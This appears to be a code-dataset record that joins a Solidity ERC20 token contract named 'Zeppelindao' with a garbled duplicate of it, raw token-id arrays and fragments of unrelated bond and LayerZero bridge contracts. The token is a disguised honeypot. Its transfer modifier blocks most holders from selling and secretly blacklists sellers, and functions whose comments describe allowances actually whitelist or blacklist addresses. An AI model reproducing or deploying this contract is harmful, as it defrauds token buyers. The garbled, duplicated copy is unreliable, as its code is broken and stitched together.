0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Zeppelindao is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _name = 'Zeppelin.dao'; _symbol = 'ZEP'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 1000000000*1e6*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract Zeppelindao is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor () public { _name = 'Zeppelin.dao'; _symbol = 'ZEP'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 1000000000*1e6*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
14,375,672
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 2285, 881, 84, 292, 728, 6033, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 2 ]
./full_match/43114/0x88619079e3B475bb9309E09C9C80CA342DfC0559/sources/github/DreesusChrist/olympus-contracts/contracts/BondDepository.sol
* @notice determine maximum bond size @return uint/
function maxPayout() public view returns ( uint ) { return IERC20( RUG ).totalSupply().mul( terms.maxPayout ).div( 100000 ); }
4,522,384
[ 1, 24661, 4207, 8427, 963, 225, 327, 2254, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 943, 52, 2012, 1435, 1071, 1476, 1135, 261, 2254, 262, 288, 203, 3639, 327, 467, 654, 39, 3462, 12, 534, 57, 43, 262, 18, 4963, 3088, 1283, 7675, 16411, 12, 6548, 18, 1896, 52, 2012, 262, 18, 2892, 12, 25259, 11272, 203, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./ILayerZeroReceiver.sol"; import "./ILayerZeroEndpoint.sol"; import "./LayerZeroStorage.sol"; import "../token/IZKL.sol"; /// @title LayerZero bridge implementation of non-blocking model /// @dev if message is blocking we should call `retryPayload` of endpoint to retry /// the reasons for message blocking may be: /// * `_dstAddress` is not deployed to dst chain, and we can deploy LayerZeroBridge to dst chain to fix it. /// * lzReceive cost more gas than `_gasLimit` that endpoint send, and user should call `retryMessage` to fix it. /// * lzReceive reverted unexpected, and we can fix bug and upgrade contract to fix it. /// ILayerZeroUserApplicationConfig does not need to be implemented for now /// @author zk.link contract LayerZeroBridge is ReentrancyGuardUpgradeable, UUPSUpgradeable, LayerZeroStorage, ILayerZeroReceiver { event SendZKL(uint16 dstChainId, uint64 nonce, address sender, bytes receiver, uint amount); event ReceiveZKL(uint16 srcChainId, uint64 nonce, address receiver, uint 